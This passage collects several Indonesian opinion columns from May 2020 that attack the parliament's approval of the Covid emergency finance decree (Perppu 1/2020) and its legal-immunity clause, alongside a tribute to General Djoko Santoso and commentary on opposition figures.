dan menjadi kaki tangan Gedung Putih, maka konsep liar “executive privilege” diformalkan sebagai hukum tata negara. Executive privilege, executive prerogative, executive discretion, semuanya merupakan pikiran liar. Semua punya sifat dictatorial. Pikiran itu menyembur diluar huruf-huruf UUD. Tak lebih. Pikiran itu memiliki bobot hukum, karena disahkan oleh pengadilan, dan politisi. Itu saja. Musabab dibalik semua konsep-konsep di atas, andai dapat dieksplor oleh MK, dan menjadikannya senjata baru dalam khasanah pikiran tata Negara Indonesia, maka MK menemukan jalan manis. MK bukan hanya as a guard of the constitution, tetapi guard of the people sovereignty. MK juga akan dikenang dalam sekeping sejarah tata negara sebagai bukan special board of Indonesian presidential. Buatlah pikiran baru, dengan argumen baru, khas Indonesia. Berilah warna Pancasila dalam semua dimensinya. Terangilah bangsa ini, dengan menemukan cara kerja demokrasi liberal UU ini. Pastikan liberalisme punya kaki tangan canggih memanipulasi hukum. Liberalisme selalu menadi induk korporasi, oligarks, otokrat, dan demagok memimpin menipu rakyat dan merampok uang negara. Hakim-hakim MK, semoga tak membebek. Tidak juga merendahkan diri dan martabat kepada presiden dan DPR. Tetapi bila pasal 27 dan 28 Perpu yang sudah disetujui DPR itu, juga diterima oleh MK, maka kepingan sejarah Indonesia punya cerita lain. Pasal 27 dan 28 Perpu Corona itu adalah cermin “otokrat, korporat oligarkis, demagok, dan democrat utilitarian”, suka atau tidak. Menyetujuinya sama dengan menulis sekeping sejarah negara Indonesia bahwa MK bisa menjadi kaki tangan Presiden dan DPR. Semoga tak secuilpun dalam kepingan sejarah republik ini, mencatat MK bisa berhianat pada bangsa dan negara dengan cara yang canggih. Semoga. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Tidak Sah Pengesahan Perppu No. 1/2020 Menjadi Undang-Undang

By M. Rizal Fadillah Jakarta FNN - DPR RI pada tanggal 12 Mei 2020, bertempat di Ruang Rapat Paripurna Gedung Nusantara DPR RI telah mengesahkan Perppu No 1 Tahun 2020 menjadi Undang-Undang. Rapat dipimpin oleh Ketua DPR RI Puan Maharani, dan didampingi Wakil Ketua Azis Syamsuddin, Rahmat Gobel, dan Sufmi Dasco Ahmad. Rapat dihadiri secara fisik dalam ruangan oleh 41 anggota DPR. Sedangkan 255 anggota lagi "hadir" secara virtual. Artinya, dari jumlah anggota DPR 575, yang hadir 296 orang, dan sisanya 279 orang lagi tidak hadir. Memprihatinkan sebenarnya. "Dengan demikian kuorum telah tercapai", kata Puan. Sesuai dengan berita media, bahwa awalnya Ketua Banggar DPR Said Abdullah memaparkan pandangan masing masing Fraksi. Hanya Fraksi PKS yang menyatakan tidak setuju Perppu Corona disahkan menjadi Undang Undang. Lalu Puan menanyakan , apakah RUU tentang Peraturan Pemerintah Pengganti Undang Undang No 1 Tahun 2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Virus Disease atau Covid 19 dan atau Dalam Rangka Menghadapi Ancaman yang Membahayakan Perekonomian Nasional dan atau Stabilitas Sistem Keuangan, dapat disetujui menjadi Undang Undang ? Tanya Puan. "Tadi sudah disampaikan dalam pandangan mini fraksi, bahwa ada delapan fraksi telah menyetujui, dan satu fraksi menolak. Apakah perlu saya ulangi pandangan mini fraksi menjadi suatu keputusan? Semua fraksi setuju, ya ? imbuhnya yang kemudian dijawab "setuju" oleh anggota DPR yang hadir. Bila memang kenyataannya seperti yang terberitakan di atas, maka sangat nyata-nyata Keputusan Pengesahan Perppu No 1 Tahun 2020 adalah “tidak sah” secara hukum. Ada tiga hal yang mendasari, keputusan yang dibuat oleh Puan tersebut menjadi “tidak sah” Pertama, bagaimana mungkin , ada fraksi yang menolak bisa dinyatakan oleh Puan menjadi “semua fraksi setuju"? Sementara kata “setuju” tersebut hanya dinyatakan dan diungkapkan oleh 41 anggota DPR yang hadir di ruang Rapat Paripurna Gedung Nusantara? Kedua, dengan adanya satu fraksi yang menolak, fraksi PKS, maka putusan tidak boleh bersifat aklamasi, dengan mendengar suara "setuju" saja. Tetapi harus dilakukan dengan penghitungan suara (voting). Apapun hasil yang didapat dari voting nanti. Ketiga, persetujuan pengesahan Perppu tersebut hanya disetujui oleh 41 anggota DPR yang hadir di ruangan rapat pula. Sedangkan 255 anggota yang "hadir" secara virtual, tidak memberikan kalimat persetujuan. Mereka tidak bisa berpendapat. Peluang Pejabat Masuk Perjara Adakah posisinya "diunmute" oleh host ? Sebab mereka itu "hadir". Semestinya mereka itu ikut berpendapat dan bersuara. Jika benar "diunmute", maka ini memperkuat bobot atas ketidakabsahan keputusan yang dibuat oleh Puan sebagai pimpinan Rapat Paripurna. Ada dua sebab yang mendasari. Pertama, meskipun fraksi setuju, tetapi dalam kapasitas sebagai anggota dewan di ruang Paripurna, bisa saja tidak setuju. Sidang Paripurna itu tidak bisa bersifat fraksional yang mereduksi hak anggota dewan. Persetujuan adalah hak anggota dewan secara perorangan. Kedua, meskipun seseorang itu menyatakan setuju, bukan berarti anggota dewan itu telah terhalang haknya untuk bisa membuat catatan "minderheidsnota" yang berguna baginya sebagai bentuk pertanggungjawaban dari sikap yang diambilnya. Contoh “minderheidsnota” ini telah dilakukan Pak Kwik Kian Gie ketika menjabat Menteri Negara Perencanaan Pembangunan Nasional/Ketua Bappenas di eranya Presiden Megawati Soekarnoputri. Saat rapat kabinet bidang ekonomi yang dipimpin Megawati menyertujui pemberian pengampuan kepada para obligor BLBI dalam bentuk Release and Discharge (R and D), Kwik Kian Gie menolaknya. Ketika itu Kwik Kian Gie lalu memberikan "minderheidsnota". Dengan demikian, maka Keputusan yang dibuat Puan sebagai pimpinan Rapat Paripurna menjadi "tidak sah". Tidak dapat dijadikan dasar hukum atas kebijakan yang diambil pemerintah. Semua produk hukum ikutan di bawahnya akan turut menjadi cacat hukum. Batal dengan sendirinya. Bila terjadi pergantian kekuasaan kelak, maka berpotensi menjadi masalah nantinya. Terbuka celah pelanggaran hukum yang lebar. Parapejabat Bank Indonesia (BI), Kementerian Keuangan, Lembaga Penjamin Simpanan (LPS), dan Bank Komersial yang hari ini membuat kebijakan dengan sandaran hukum pada Perppu No. 1/2020 yang telah disahkan menjadi undang-undang, hari tunaya bisa berakhir di penjara. Bahkan bisa saja meninggal dunia masih di dalam penjara. Itu tragis jadinya. Model kehadiran virtual yang dipakai DPR, meski menjadi hal biasa dalam persidangan, akan tetapi untuk keputusan penting seperti pengesahan Perppu menjadi undang-undang seperti ini ,semestinya dilaksanakan dengan secermat. Sehingga tidak ada hak-hak anggota dewan yang terhalangi. Selian itu, kehadiran model virtual belom memiliki dasar hukum dalam sistem hukum yang berlaku di Indonesia. Apalagi untuk sidang atau rapat yang sangat luar biasa pentingnya, seperti Rapat Paripurna yang agendanya pengesahan Rancangan Undang-Undang menjadi Undang-Undang. Mengesahkan mulai berlakunya produk hukum positif negara. Pada Rapat Peripurna yang dipimpin Ketua DPR Puan Maharani 12 Mei lalu, ada empat keputusan penting terkait produk hukum positif yang dibuat dengan waktu yang sangat “mepet”. Terkesan DPR seperti "kejar tayang". Semestinya ada prioritas dalam pengambilan keputusan atau pengesahan. DPR dinilai tidak menghargai aspirasi rakyat tentang begitu pedulinya rakyat terhadap Perppu yang "sarat kepentingan" Pemerintah ini. Betapa "enteng"nya Dewan mengetuk palu atas suatu undang-undang, yang akibat ikutannya sangat menentukan nasib rakyat banyak. Penulis adalah Pemerhati Politik dan Kebangsaan

Bunuh Diri Massal Anggota DPR RI

Oleh Hersubeno Arief Jakarta, FNN - DPR RI baru saja mengesahkan Perppu No 1 Tahun 2020. Di media sosial (Medsos) bergema tagar #dprbunuhdiri, #dprkartumati, #dprbudakistana. Seruan netizen itu tidak salah. Dengan mengesahkan Perppu Covid —begitu media menyebutnya— DPR mengamputasi dirinya sendiri secara sukarela. Tiga fungsi utama DPR sebagai lembaga negara dibabat habis. Fungsi anggaran, legislasi, dan pengawasan. Secara formal DPR tetap ada. Tapi tanpa tiga fungsi tersebut, secara kelembagaan DPR sesungguhnya antara ada dan tiada. Sepertinya hidup, tapi sesungguhnya sudah mati. Mereka melakukan harakiri. Bunuh diri dengan sukarela dan gembira ria. Langkah distruktif DPR tidak hanya sampai disitu. Mereka juga mengesahkan dan memberi legitimasi langkah pemerintah menabrak berbagai peraturan, terutama yang sangat fundamental, melanggar konstitusi negara. Fungsi berbagai lembaga negara lainnya ikut diamputasi. Fungsi pengawasan Badan Pemeriksa Keuangan (BPK), fungsi lembaga penegak hukum, dan kekuasaan kehakiman yang dimiliki Mahkamah Konstitusi (MK) dan Mahkamah Agung (MA) juga ikut dipangkas. Melalui pengesahan Perppu Covid, bencana kesehatan Corona diubah menjadi berkah bagi pemerintahan Jokowi. Para pejabat negara, bebas menentukan anggaran dan menggunakannya sesuka hati, tanpa persetujuan dan pengawasan. Mereka juga tidak perlu khawatir terhadap konskuensi hukum secara pidana, perdata, maupun tata negara. Semua bebas merdeka! Tidak berlebihan bila ada penilaian, pengesahan itu juga menunjukkan fungsi DPR sebagai budak kekuasaan. #budakistana. Sebuah stigma yang jauh lebih keras ketimbang anggapan yang selama ini berkembang, DPR tak lebih hanya stempel penguasa. Mantan Menko Perekonomian Rizal Ramli sampai kehabisan kata. “Mohon maaf teman-teman DPR, Anda memalukan!” ujarnya menahan geram. Langkah DPR ini sesungguhnya tidak terlalu mengejutkan. Sudah bisa diduga. Konstelasi politik pasca pemilu dan pilpres membuat pemerintahan Jokowi sangat perkasa. Tanpa kontrol. Baik partai pendukung, maupun lawan politik dalam pilpres berbondong-bondong masuk dalam kubu pemerintah. Tidak perlu kaget bila kemudian dari 9 fraksi DPR, hanya PKS yang konsisten menolak Perppu. Fraksi Demokrat yang tidak ikut kebagian kursi di pemerintahan, secara mengherankan juga ikut-ikutan mendukung. Tampaknya mereka tersandera masa lalu, ketika masih menjadi penguasa. Melampaui UUD 45 Ada beberapa UU yang ditabrak oleh Perppu yang sudah disahkan tersebut. Dalam pasal 23 UUD ayat 1, 2 dan 3 dinyatakan APBN dibahas setiap tahun dan harus mendapat persetujuan DPR dan pertimbangan DPD. Apabila tidak disetujui maka Presiden menggunakan anggaran tahun sebelumnya. Dengan UU Covid (Pasal 12 ayat 2) APBN cukup diatur dengan Peraturan Presiden (Perpres). Pemerintah juga sudah langsung menyusunnya selama 3 tahun ke depan. Hal itu juga bertentangan dengan Pasal 27 ayat 2 dan 3 UU No 17 Tahun 2013 tentang Keuangan Negara. Selain mereduksi kewenangan DPR, UU Covid berpotensi melanggar konstitusi terkait pengawasan dan imunitas pengambil kebijakan. Pasal 27 ayat 1 menyatakan bahwa biaya yang telah dikeluarkan Pemerintah dan/atau lembaga anggota Komite Stabilitas Sistem Keuangan (KSSK) seperti kebijakan di bidang perpajakan, kebijakan keuangan daerah, kebijakan pembiayaan, kebijakan stabilitas sistem keuangan, dan program pemulihan ekonomi nasional, merupakan bagian dari biaya ekonomi untuk penyelamatan perekonomian dari krisis dan bukan merupakan kerugian negara. Dengan pasal tersebut fungsi dan peran BPK sebagai badan pengawas keuangan negara ditiadakan. Pada Pasal 27 ayat 2, mengatur anggota KSSK tidak dapat dituntut baik secara perdata maupun pidana jika dalam melaksanakan tugas didasarkan pada iktikad baik dan sesuai dengan ketentuan peraturan perundang-undangan. Pada Pasal 27 ayat 3 juga menyatakan segala tindakan termasuk keputusan yang diambil bukan merupakan objek gugatan yang dapat diajukan kepada peradilan tata usaha negara. Pasal ini bertentangan dengan prinsip supremasi hukum dan prinsip negara hukum. UUD 1945 melalui perubahan pertama tahun 1999 sampai perubahan keempat tahun 2002, telah menjamin tegaknya prinsip-prinsip supremasi hukum. Pasal 1 ayat 3 UUD dinyatakan bahwa Negara Indonesia adalah negara hukum, dan adanya pengakuan yang sama di hadapan hukum Pasal 28D. Bisa dibayangkan betapa luar biasanya kekuasaan yang dimiliki oleh pemerintah dengan pengesahan UU Covid. Mereka bebas mengatur keuangan negara tanpa kontrol lembaga lain seperti DPR dan BPK. Mereka juga tidak akan terjamah oleh hukum, karena diberi kewenangan UU mengesampingkan peran lembaga kekuasaan lembaga penegak hukum dan kekuasaan kehakiman. Bila UU Covid diundangkan dan dibiarkan tanpa perlawanan publik, yang terjadi bukan hanya anggota DPR bunuh diri massal. Eksistensi Indonesia sebagai negara demokrasi juga terancam mati. End Penulis Wartawan Senior

Rakyat Menaruh Harapan ke Sembilan Tokoh Oposisi

By Tony Rosyid Jakarta FNN – Rabu (14/04). DPR sepakat terima Perppu Corona. Kompak dan Gotong-Royong. Seluruh fraksi menerima, kecuali PKS. PKS nampaknya masih konsisten menolak Perppu. Meski banyak pihak terus melakukan kritik dan penolakan terhadap Perppu corona yang dianggap sangat berbahaya ini, DPR nggak peduli. Fakta gugatan sejumlah tokoh terhadap Perppu corona ke Mahkamah Konstitusi, sama sekali tak menjadi pertimbangan DPR. Tetap mengambil keputusan "menerima" sepenuhnya. Tok. Sikap DPR ini seperti anti klimaks. Nggak mau dengar dan nggak peduli pada suara rakyat. Tidak hanya kali ini saja. Soal Jiwasraya, Asabri, Carut marut BUMN lain, Omnibus law, ibu kota baru, kereta cepat, dan terbaru soal BPJS, DPR dianggap nggak ada greget. Seperti beda kepentingan dengan rakyat. Wajar jika kemudian muncul banyak pertanyaan. DPR ini mewakili suara siapa ya? Jika begitu, lalu apa yang bisa diharapkan dari DPR sebagai lembaga kontrol terhadap pemerintah? Keadaan ini membuat rakyat semakin "marah" dan "frustrasi" . Sebenarnya, jangan juga salahkan DPR. Suara rakyat kan sudah "dibeli putus" saat pemilu lalu. Untuk di daerah pesisir dan pegunungan satu suara Rp. 50 ribu. Sementara di perkotaan, harganya Rp. 100 Ribu. Kenapa masih nuntut? Kan sudah jual putus? Yang boleh nuntut itu investor. Mereka investasi dana di bursa pemilu. Cukup besar angkanya. Selesai pemilu, tinggal panen. Sementara rakyat sudah terima pembayaran di awal. Kenapa menuntut lagi? Pemilu tak ubahnya seperti bursa saham. Berlaku hukum investasi. Rakyat curiga, banyak oknum di senayan yang telah bekerja untuk kepentingan para investor semata. Kalau begitu, apa bedanya dengan direksi perusahaan? Satu harapan yang tersisa dari rakyat yaitu peran civil society. Masyarakat mesti hadir dan melakukan kontrol sendiri terhadap pemerintah. Dalam konteks ini, rakyat harus berperan sebagai oposisi. Ingat. Oposisi dimaknai sebagai upaya sungguh-sungguh untuk melakukan kontrol terhadap pemerintah. Agar pemerintah nggak semakin jauh tersesat. Ini bukan makar. Ketika lembaga yang punya otoritas dan diberi wewenang untuk melakukan peran kontrol ini tidak sepenuhnya berfungsi, maka rakyatlah yang turun tangan. Peran rakyat ini diperlukan agar kekuasaan tidak melampaui batas undang-undang dan sewenang-wenang. Memang, ada semacam "lingkaran setan" di dalam pengambilan keputusan di DPR. Pemerintah kasih jatah kabinet ke sejumlah partai. Partai-partai itu tunjuk orang-orang kepercayaannya di fraksi. Fraksi itu dikendalikan oleh ketum partai. Logikanya, mana mungkin fraksi melawan pemerintah yang kasih jatah kabinet untuk partainya? Ini PR buat bangsa ini. Dalam situasi seperti ini, munculnya para tokoh oposisi bukan saja kebutuhan, tapi keniscayaan politik. Rakyat butuh saluran kritik ketika Bapak-Ibu Yang Terhormat di parlemen dianggap tak lagi bisa mendengarkan hati dan harapan mereka. Memalukan, kata Rizal Ramli. Perppu, terutama terkait hak budget, kekebalan hukum dan cetak uang, kok bisa diterima oleh DPR. Padahal Gubernur BI dan Menteri Keuangan menolak. Gelo, kata Rizal Ramli dalam sebuah video yang viral di medsos. Tak bisa berharap ke DPR. Rakyat menyerahkan harapannya kepada sembilan tokoh oposisi yang dianggap selama ini mewakili suara rakyat. Mereka adalah Abdullah Hehamahua, Emha Ainun Najib, Habib Rizieq, Din Syamsudin, Rizal Ramli, Refly Harun, K.H Najih Maemoen, Rocky Gerung dan Muhammad Said Didu. Sembilan tokoh ini dianggap konsisten menyambung lidah rakyat. Menyuarakan hati dan harapan rakyat yang seringkali gagal dipahami oleh wakil mereka di gedung parlemen sono. Sembilan tokoh ini konsisten. Mereka nggak pernah kendor, tegas suaranya, dan punya kapasitas, baik intelektual maupun moral. Kritiknya terukur dan tidak ngawur. Yang pasti, mereka bukan tokoh partisan dan suaranya bukan hasil pesanan. Sangat layak jadi sparing partner ide, gagasan dan lawan argumentasi bagi kekuasaan. Kepada sembilan tokoh ini, rakyat masih punya harapan di tengah hilangnya kepercayaan terhadap para elit politik yang "ngakunya" mewakili mereka. Di luar para tokoh itu, banyak tokoh lain, ormas dan LSM yang juga tak kalah kritis dan nyaringnya dalam menyuarakan nurani rakyat. Satu dengan yang lain saling melengkapi dan menguatkan. Kehadiran para tokoh oposisi ini setidaknya dapat menjaga harapan rakyat agar masih ada rasa optimis untuk masa depan bangsa ini. Selama masih ada orang-orang yang berani menyuarakan nurani dan kepentingan rakyat, berarti Indonesia masih ada. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Jenderal Djoko Santoso Tentang “Trisula TNI AD” Dulu dan Sekarang

By Mayjen TNI (Purn) Prijanto “Pada era milenium ketiga, perang memang bertujuan untuk menghancurkan bangsa dan negara. Namun dengan menggunakan kekuatan senjata sebagai mesin perangnya, bukan lagi satu-satunya pilihan. Penghancuran moral dan budaya bangsa, sangat menarik dan menguntungkan bagi mereka yang menggunakan. Melumpuhkan moral dan budaya bangsa sebagai pilihan yang cerdas”. Jakarta FNN – Rabu (131/05). Wafatnya Jenderal TNI (Purn) Djoko Santoso, 10/5/2020, membuat penulis merasakan kehilangan. Tidak saja sebagai sahabat seangkatan, lulusan Akabri Darat tahun 1975. Tetapi juga sebagai atasan, komandan dan guru. Ketika penulis menjadi Kepala Staf Pribadi (Kaspri) Pangdam Jaya, almarhum menjabat Assospol Kodam Jaya. Ketika beliau menjabat Waas Sospol di Mabes ABRI, penulis adalah Koordinator Staf Pribadi Menhankam /Panglima ABRI. Tampak almarhum memiliki karakter dan kapasistas sebagai prajurot yang unggul. Pangkat Kolonelnya di pundaknya, mendahului temen-teman seangkatannya. Pernah menjadi anggota anggota DPR RI, sebelum menjadi Assospol Kodam Jaya. Sosok Prajurit Yang Konsisten Keterdekatan penulis dengan almarhum tidak saja dalam dua jabatan di atas. Tetapi ketika almarhum sebagai Pangdam Jaya dan Kepala Staf TNI AD, penulis sebagai Kepala Staf Garnisun I Jakarta, Kasdam Jaya, dan Aster Kasad. Bahkan, ketika penulis Aster Kasad, perintah sebagai Cawagub mendampingi Cagub Dr. Ing. Fauzi Bowo dalam Pilkada DKI 2007, juga atas perintah almarhum selaku Kasad. Cerita jabatan di atas, bertujuan untuk menguatkan, jika penulis memberikan kesan terhadap almarhum, karena cukup lama bersama-sama. Almarhum sosok prajurit yang konsisten terhadap apa yang pernah disampaikan. Baik itu sewaktu dinas aktif maupun setelah pensiun. Ini terbukti ketika penulis bicara per telepon pada 1 Mei 2020, pukul 11.03 WIB. Satu hari sebelum almarhum sakit mendadak pada 2 Mei 2020, saat berbuka puasa dan berkelanjutan.Waktu penulis menelepon, almarhum sedang ditemani Ajudan dan Sekretaris Pribadi di kediaman Bambu Apus. Bicara dan ketawanya lewat telepon sangat jelas, tidak ada tanda-tanda sakit. Ada tiga hal yang disampaikan oleh almarhum. Pertama, almarhum bercerita memiliki data tentang wabah Covid 19, baik di Indonesia maupun Luar Negeri. Kedua, bercerita tentang perkembangan penanganan Covid 19 di Indonesia. Baik yang menyangkut kebijakan, keuangan, ketersediaan pangan dan kondisi rakyat. Ketiga, berpesan agar Sekretariat Bersama Alpajuli (Alumni Perwira Akabri Tujuh Lima) Angkatan Darat, sifatnya kekeluargaan dan koordinatif. Sehingga Sekber Alpajuli Darat yang di daerah, dapat dengan bebas menyelenggarakan kegiatan secara independen dan mandiri. Apa yang disampaikan di atas, menguatkan kesan penulis terhadap almarhum sebagai sosok prajurit yang konsisten terhadap apa yang disampaikan. Bahwasanya, di berbagai acara (walau sudah pensiun) beliau sering mengulang-ulang pesannya. Pesan alharhum adalah “bahwa pengabdian seorang prajurit itu, walau sudah pensiun, harus sampai akhir hayatnya”. Sikap militansi, rela berkorban, tidak kenal menyerah dan berpikir untuk rakyat, harus selalu melekat pada setiap prajurit. Terbukti, almarhum selalu konsisten dengan pesan-pesannya. Sehari sebelum jatuh sakit yang berkelanjutan, beliau masih berpikir dan bicara untuk bangsa dan negaranya secara jelas. Juga masih berpikir untuk organisasi temen-temen seangkatannya. Trisula AD Kekuatan Bermata Tiga Pernyataan di awal artikel ini, bahwa penghancuran moral dan budaya bangsa sebagai satu pilihan yang cerdas dan menguntungkan, penulis kutip dari beliau sewaktu almarhum menjabat KASAD tahun 2007. Karena itu, beliau menekankan, untuk menghadapi ancaman tersebut, TNI AD harus memiliki “kekuatan bermata tiga, yaitu TNI AD sebagai Kekuatan Moral, Kekuatan Kultural dan Kekuatan Pertahanan”. Ketiga kekuatan ini dinamakan almarhum sebagai “Trisula TNI AD”. TNI AD sebagai Kekuatan Moral. Artinya, sebagai kekuatan yang selalu mengedepankan nilai-nilai moral. Selalu mengutamakan kepentingan bangsa dan negara. Serta berpikir, berbuat dan bertindak berdasarkan nilai-nilai yang terkandung di dalam Pancasila. TNI AD sebagai Kekuatan Kultural. Artinya, sebagai kekuatan yang selalu mempertahankan nilai-nilai luhur budaya bangsa. Memiliki wawasan tentang kemajemukan, sebagai modal kekuatan bangsa. Memandang kemajemukan bangsa, sebagai satu kesatuan yang utuh dalam bingkai NKRI, yang berdasarkan Pancasila dan UUD 1945. TNI AD sebagai Kekuatan Pertahanan. Artinya, sebagai kekuatan yang siap menghadapi segala bentuk ancaman militer secara terorganisir, yang membahayakan kedaulatan negara, keutuhan wilayah, dan keselamatan segenap bangsa Indonesia. Dalam konteks konsepsi Trisula TNI AD itu, setelah pensiun dari Panglima TNI, lagi-lagi almarhum tetap menunjukkan sikapnya yang konsisten untuk membumikan nilai-nilai Pancasila sebagai kekuatan moral bangsa. Ajakan almarhum bersama kawan-kawan untuk kembali ke UUD 1945 yang asli, pada hakikatnya agar pasal-pasal dalam Undang-Undang Dasar tetap dijiwai dengan nilai-nilai Pancasila. Sehingga aturan turunannya dapat membentuk kekuatan moral bangsa. Ajakan almarhum bersama kawan-kawan untuk bangkit, bersatu, bergerak dan berubah. Tujuannya agar tidak punah, yang didasarkan pada nilai-nilai Bhinneka Tunggal Ika. Ajakan tersebut, pada hakikatnya untuk membangun kekuatan kultural bangsa. Dalam upaya membangun kekuatan moral dan kultural bangsa itulah, almarhum melakukannya bersama para tokoh masyarakat, pakar intelektual, aktivis pejuang dan masyarakat. Wadahnya adalah Gerakan Selamatkan NKRI (GSNKRI), Rumah Amanah Rakyat (RAR) dan Gerakan Kebangkitan Indonesia (GKI). Apel Persada Kawan-kawan pergerakan mencatat isi hati, pikiran dan cita-cita almarhum yang masih belum tercapai. Misalnya, perbaikan nasib Boemipoetra, Kembali ke UUD 1945 yang asli. Almarhum juga berharap, kelak akan lahir Pemimpin Bangsa yang Pancasilais. Namun takdir telah menentukan lain. Almarhum harus menghadap Tuhan Yang Maha Esa mendahului kita. Walau ada yang tidak tahu atau tahu, tetapi lidah kelu atas kepergiannya, tidak menjadi masalah. Wafatnya almarhum sudah dengan jelas disampaikan oleh Panglima TNI selaku Inspektur Upacara saat pemakaman hari Minggu lalu. Panglima TNI menyatakan, “atas nama Bangsa, Negara dan Tentara Nasional Indoesia, dengan ini mempersembahkan ke Persada Ibu Pertiwi jiwa raga dan jasa-jasa almarhum Djoko Santoso, Jenderal TNI (Purn), mantan Panglima TNI, Kesatuan Mabes TNI. Putra almarhum bapak H. Djoko Soedjono, yang telah meninggal dunia demi kepentingan serta keluhuran Negara dan Bangsa, pada hari Minggu tanggal 10 Mei 2020 pukul 06.30 WIB di Rumah Sakit Pusat Angkatan Darat Gatot Soebroto karena sakit. Semoga jalan Dharma Bhakti yang ditempuhnya dapat menjadi suri tauladan bagi kita semua, dan arwahnya dapat tempat yang semestinya di alam baka”. Selamat jalan Jenderal Djoko Santoso saahabatku, atasanku, komandanku dan guruku. Semoga Allah Subhanahu Wa Ta’ala memberikan tempat yang paling mulia untuk Jenderal. Amin. Penulis adalah Aster KASAD Tahun 2006-2007

Menghancurkan Indonesia Secara Konstitusional

By Asyari Usman Jakarta, FNN - Banyak orang yang bersepakat bahwa revisi UU KPK adalah langkah yang menghancurkan lembaga antikorupsi itu. Tetapi, apakah penghancuran KPK itu konstitusional atau tidak? Pastilah konstitusional. Legal, 100 persen. Penghancuran KPK itu sah. Presiden tidak melanggar UU dengan revisi itu. Kemudian, banyak pula orang yang menilai pemilihan pimpinan KPK berlangsung dengan cara akal-akalan. Nah, konstitusional atau tidak? Sangat konstitusional. Siapa bilang tidak? Semua prosedur penyeleksian calon pimpinan mengikuti aturan yang berlaku. Tidak ada yang dilanggar. Tetapi, hebatnya, bisa terbukti prediksi banyak orang bahwa Firli Bahuri pasti terpilih sebagai ketua KPK. Meskipun banyak pihak yang berkeberatan terhadap rekam jejak beliau ini. Pokoknya, semua dibuat konstitusional. Semua dilaksanakan sesuai dengan ketentuan hukum. Sekarang, apa akibatnya? Anda semua pahamlah. Lembaga antikorupsi ini menjadi mandul. Tidak ada lagi OTT. Korps para koruptor dan veteran korupsi bisa tidur nyenyak. Tidak ada lagi yang mereka takuti. Seterusnya, penerbitan Perppu 1/2020 (Perppu Corona). Konstitusional atau tidak? Jawabannya, mana ada orang yang mengatakan tidak? Semua fraksi di DPR menerima Perppu itu, kecuali fraksi PKS. Jadi, seribu persen konstitusional. Tapi, apa yang digariskan oleh Perppu Corona itu? Perppu ini menetapkan bahwa semua pemegang otoritas yang terkait dengan penggunaan dana sebesar 405 triliun yang disediakan untuk mengatasi dampak Covid-19, tidak dapat dituntut pidana atau perdata jika mereka melakukan kesalahan. Begitulah bunyi Pasal 27 Perppu Corona. Mantap apa tidak tidak? Tentu sangat menyenangkan. Khususnya bagi orang-orang yang telah menyiapkan ‘road map’ penilapan dana besar itu. Mereka akan menyiapkan langkah-langkah pencolengan yang tak terasa sebagai pencurian. Semuanya ‘masuk akal’. Kalau pun nanti ada yang berbau koruptif, kembali saja ke pasal 27 Perppu Corona. Pasal inilah yang membuat para koruptor menjadi ‘orang keramat’. Tak bisa disentuh hukum. Kita lanjutkan lagi. Memberikan kekuasaan besar dan luas kepada Menko Luhut Pandjaitan, konstitusional atau tidak? Jawaban singkatnya, murni konstitusional. Tidak ada yang ditabrak. Dan ini hak prerogatif presiden. Tidak ada yang bisa mempersoalkannya. Karena itu, apa saja yang dicampuri oleh Luhut, tidak menyalahi aturan. Nah, mengapa begitu banyak orang yang terganggu oleh kekuasaan superior itu? Karena cara ini tidak sesuai dengan prinsip pengelolaan pemerintahan yang baik (good governance). Tetapi, semua ini konstitusional. Anda merasa terganggu, itu urusan Anda. Lalu, Presiden Jokowi mengangkat staf khusus (stafsus) milenial. Konstitusional atau tidak? Tentu saja tidak ada pasal UU atau UUD yang dilanggar. Tetapi, bagaimana dengan segala macam kontroversi yang melibatkan para stafsus milenial itu? Bahkan ada yang mundur karena konflik kepentingan? Tidak ada masalah. Begitu mereka mundur, semua selesai. Semua konstitusional. Bagaimana dengan proyek Kartu Prakerja 5.6 triliun yang melibatkan salah seorang stafsus yang mundur? Juga tidak ada persoalan. Sudah sesuai konstitusi, kok. Mau apa lagi? Terus lagi, Presiden Jokowi memberikan keistimewaan kepada China untuk banyak hal. Apakah langkah ini bertentangan dengan konstitusi? Tentu tidak. Mau seratus persen perdagangan dan investasi asing itu dikuasai China, tidak ada masalah. Semuanya sesuai dengan aturan. Cuma, dengan nalar yang sehat, pastilah Anda merasa heran. Anda khawatir pengistimewaan terhadap China bisa membahayakan Indonesia karena bisa saja negara komunis itu membawa masuk komunisme. Baik secara terang-terangan maupun secara halus. Anda mencemaskan hegemoni China. Hegemoni ekonomi, ideologi dan kebudayaan. Bagi para penguasa, silakan saja Anda merasa waswas atau cemas. Tetapi, semua yang mereka lakukan dalam kaitan dengan kehadiran China di Indonesia tidak melanggar konstitusi. Semua konstitusional. Sekarang, kita ringkaskan. Revisi UU KPK menyakitkan hati tetapi konstitusional. Penerbitan Perppu Corona penuh dengan kontroversi tetapi konstitusional. Pemberian kekuasaan masif kepada Luhut tak sesuai dengan prinsip ‘good governance’ tetapi konstitusional. Pengangkatan stafsus, konstitusional. Pengistimewaan China yang sangat mencemaskan tetapi juga konstitusional. Kalau begini hancurlah bangsa dan negara Indonesia? Sebentar! Memangnya Indonesia tidak bisa dihancurkan secara konstitusional? Bukankah ini yang sedang Anda saksikan? Agak sok-sok filosofis sedikit, dalam hidup ini ada bab tentang baik dan buruk. Gembira dan sedih. Membangun dan menghancurkan. Nah, saat ini kita sedang berpangku tangan melihat orang-orang yang menghancurkan Indonesia secara konstitusional.[] 12 Mei 2020(Penulis wartawan senior)

Inikah Strategi Jokowi Berdamai Dengan Virus Corona?

